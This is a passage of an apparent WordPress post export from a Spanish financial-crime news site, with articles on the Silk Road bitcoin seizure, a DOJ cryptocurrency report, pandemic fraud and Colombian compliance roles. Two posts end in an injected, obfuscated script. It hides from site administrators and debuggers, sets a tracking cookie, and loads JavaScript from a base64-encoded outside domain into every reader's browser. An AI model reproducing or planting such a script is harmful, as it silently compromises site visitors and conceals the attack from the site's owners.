1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo 